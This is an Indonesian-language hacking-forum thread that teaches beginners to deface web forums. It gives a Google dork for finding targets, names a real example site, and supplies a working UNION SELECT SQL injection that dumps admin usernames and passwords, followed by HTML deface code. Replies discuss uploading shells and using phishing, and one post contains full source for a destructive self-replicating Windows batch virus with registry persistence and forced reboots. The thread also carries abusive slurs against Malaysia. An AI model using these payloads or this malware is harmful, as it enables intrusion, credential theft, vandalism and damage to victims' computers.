Deface FOrum buat pemula [exploit]

nih tutorial asal nya aku download video deface dr temen, trus di file itu ad tutor nya, yaudah ku copast aja kesini

langsung ya

Ketik di google
inurl:/forums.asp?iFor=

Pilih target...
Contoh target
http://www.portugalweb.net/forum/forums.asp?iFor=23

Hapus angka dibelakang =
Hingga menjadi ini
http://www.portugalweb.net/forum/forums.asp?iFor=

Setelah = masukan SQL inject
12+union+select+1,2,3,u_password,5,u_id,7,8,9,10,11,12+from+users

Hingga menjadi seperti ini
http://www.portugalweb.net/forum/forums ... from+users


Tulisan yg berderet di bawah nama 10 TOPICS itu adalah username
Tulisan yg berderet di bawah nama DATED itu adalah passwordnya

Cari username admin & passnya.
Ok..pada web target yg jadi bahan tutor ini saya menemukan username & password
Username : admin
Password : default

Sekarang klik tulisan login yg berada diatas.
Nah..login udah berhasil
Sekarang jika ingin melakukan defacing, klik tulisan "POST NEW TOPICS"

Isi Subject nya...
Contoh : HACKED BY BLA BLA BLA
lalu masukin script deface HTML nya ke kolom di bawah subject.

Hmm......
Jika ingin menutup full seluruh halaman, pake code berikut

<DIV align=center><DIV id=Layer1 style="BORDER-RIGHT: #000000 1px; BORDER-TOP: #000000 1px; Z-INDEX: 1; LEFT: 0px; BORDER-LEFT: white 1px; WIDTH: 1300px; BORDER-BOTTOM: white 1px; POSITION: absolute; TOP: 0px; HEIGHT: 7000px; BACKGROUND-COLOR: white; layer-background-color: white"><center>
<br><b><font face="papyrus" color="red" size="5">Attacked by : Sadoelan</font></h2><br><br><img src="http://hamzajennings.com/wp-content/uploads/2008/07/hacked_11.jpg" ><br><br>
<font face="papyrus" color="red" size="5">FUCK Malaysial and ASSOCIATE</a><br><br>
<font face="papyrus" color="red" size="5">We Are Ready to Cybernetic Wars</font><br><br><font color="red" size="3">SNUTZ.US In Here
</DIV>


kalo mau di tambah lagu juga bisa:
: <embed src="http://snutz.us/Url Lagu" autoplay="true" hidden="true"></embed>[/color]

Jangan lupa di edit dulu kata² nya !!!

Trus klik tombol post....
Ok...HTML deface an lo udah masuk...sekarang klik judul postingan yg lo tulis di subject tadi.

Maav kang saya dahh dapet pass adminnya nie tp ko ngak bisa login yahh
saya loginya pake login kaya user biasa aja kaya saya mau masuk forum ini.
mohon dikoreksi,,,,,

alhamdulilah kang dah bisa sebagian masuk tp rata2 dah drusak semua kang.
nah klo dah kaya gituh gimana kang??
trus klu yang dah dapet saya ngak bisa login2 kenapa yahhh??
yg ke2 klu mu langsung nembak situs web langsung atau forum ( rata2 yg saya masukin porta forum ) yg kita tujuh itu gimana yahh caranya kang??

kalo sudah login sebagai admin. bisa upload exploit atau shell kamu.

kalo gak bisa login. kemungkinan password nya salah. atau sudah di patch sama admin nya.

portal forum itu kurang lebih seperti home/. jadi kamu tinggal cari /forum nya..

untuk mencari target nya bisa juga dengan cara..


Ketik di google.com.my <=== malaysia bangsat

inurl:/forums.asp?iFor=

Pilih target…

Gan...Bisa Kash Di Kash Video Nda TuToR Na...

Agan Lbh Mengerty...

Maklum Ane Mash Newbie....

maap bang admin
sqL inject itu seperti di bawah ini ??
12+union+select+1,2,3,u_password,5,u_id,7,8,9,10,11,12+from+users

klu shell itu seperti apa ?

mohon bimbingannya bang
thx

saya sudah berhasil masuk gan
tp setelah saya utak atik kok kagak ngefek ya??
ex:subject yg saya bikin juga kagak muncul
mohon penjelasannya

salam fuck buat malaysia

jrsbekasi. tar saya upload. ambil di halaman file ya.

slype .iya itu SQLI: shell itu backdoor mirip dgn cpanel tp ilegal yg jelas hehe. sering di gunakan untuk mendeface halaman index.

tamber. masuk ke admin cp mksd nya? apa masuk ke backdoor kamu?

gan kalo yangb buat blogspot ama wordpress ada nga..?

kq gak bisa upload deface htmlnya ya ? apa sudah di patch ya kang ?

@bang admin>>> btw tentang irhabi / hacker dari negara arab tersebut abang pernah denger gak.? pernah baca tutorialnya gak? hmmm .... kalo bisa seh kita" yang emang newbie tolong kasih file pdfnya yaa,,, mohon kirim ke email kita gtu bang,,, ( kalo emang privat ) cz,,, saya emang bener" pengen bgt bisa nge jebolin website ,,,, hmmm emang harus sabar ya?

word salam blog. susah. karna root. pake phising masi work kok,,

iya mungkin udah di patch tuh.. cari target lain aja lg..

gk pernh dngr tuh. tp kalo irca pernah..
sabar,sring baca2 trid, trus di praktekin

yang saya bingung cara nyari id sama pass admin nya gi mana ya hehe maklum newbie


buat om admin kalo bisa ane minta nama fb sama ym kalo ada ..di pm ke ane aja ya ane serius nih om pengen bener" belajar ngedeface..udah begadang 2hari ga bisa"

numpang bgi bagi virus gan

LAHIR UNTUK HACK -------> ATURAN GAK PENTING YANG PENTING SENANG

Ditulis bahasa Batch Programming.

Mari kita berlatih

kodene bung :
...
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Jalamonggame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AJalamonggame /t REG_SZ
/d %systemroot%\Jalamonggame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Jalamonggame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Jalamonggame.bat R.I.P.bat
copy Jalamonggame.bat R.I.P.jpg
copy Jalamonggame.bat R.I.P.txt
copy Jalamonggame.bat R.I.P.exe
copy Jalamonggame.bat R.I.P.mov
copy Jalamonggame.bat FixVirus.bat
cd %userprofile%My Documents
copy Jalamonggame.bat R.I.P.bat
copy Jalamonggame.bat R.I.P.jpg
copy Jalamonggame.bat R.I.P.txt
copy Jalamonggame.bat R.I.P.exe
copy Jalamonggame.bat R.I.P.mov
copy Jalamonggame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Jalamonggame.bat %random%.bat
goto RIP

copy kode ini ke notepad dan simpan sebagai Jalamonggame.bat (sambil menyimpan pilih semua file bukan teks).
Hati-hati ..! jika kalian klik dua kali file batch, maka kamu adalah korban virus ini

Admin wrote:

nih tutorial asal nya aku download video deface dr temen, trus di file itu ad tutor nya, yaudah ku copast aja kesini

langsung ya

Ketik di google
inurl:/forums.asp?iFor=

Pilih target...
Contoh target
http://www.portugalweb.net/forum/forums.asp?iFor=23

Hapus angka dibelakang =
Hingga menjadi ini
http://www.portugalweb.net/forum/forums.asp?iFor=

Setelah = masukan SQL inject
12+union+select+1,2,3,u_password,5,u_id,7,8,9,10,11,12+from+users

Hingga menjadi seperti ini
http://www.portugalweb.net/forum/forums ... from+users


Tulisan yg berderet di bawah nama 10 TOPICS itu adalah username
Tulisan yg berderet di bawah nama DATED itu adalah passwordnya

Cari username admin & passnya.
Ok..pada web target yg jadi bahan tutor ini saya menemukan username & password
Username : admin
Password : default

Sekarang klik tulisan login yg berada diatas.
Nah..login udah berhasil
Sekarang jika ingin melakukan defacing, klik tulisan "POST NEW TOPICS"

Isi Subject nya...
Contoh : HACKED BY BLA BLA BLA
lalu masukin script deface HTML nya ke kolom di bawah subject.

Hmm......
Jika ingin menutup full seluruh halaman, pake code berikut

<DIV align=center><DIV id=Layer1 style="BORDER-RIGHT: #000000 1px; BORDER-TOP: #000000 1px; Z-INDEX: 1; LEFT: 0px; BORDER-LEFT: white 1px; WIDTH: 1300px; BORDER-BOTTOM: white 1px; POSITION: absolute; TOP: 0px; HEIGHT: 7000px; BACKGROUND-COLOR: white; layer-background-color: white"><center>
<br><b><font face="papyrus" color="red" size="5">Attacked by : Sadoelan</font></h2><br><br><img src="http://hamzajennings.com/wp-content/uploads/2008/07/hacked_11.jpg" ><br><br>
<font face="papyrus" color="red" size="5">FUCK Malaysial and ASSOCIATE</a><br><br>
<font face="papyrus" color="red" size="5">We Are Ready to Cybernetic Wars</font><br><br><font color="red" size="3">SNUTZ.US In Here
</DIV>


kalo mau di tambah lagu juga bisa:
: <embed src="http://snutz.us/Url Lagu" autoplay="true" hidden="true"></embed>[/color]

Jangan lupa di edit dulu kata² nya !!!

Trus klik tombol post....
Ok...HTML deface an lo udah masuk...sekarang klik judul postingan yg lo tulis di subject tadi.

yang ini SQLi ya om..
tidak semua site bisa..
harus di tes dulu / di uji denang syntax ' - lainnya

kunang buat permission nya jadi drwx dulu gan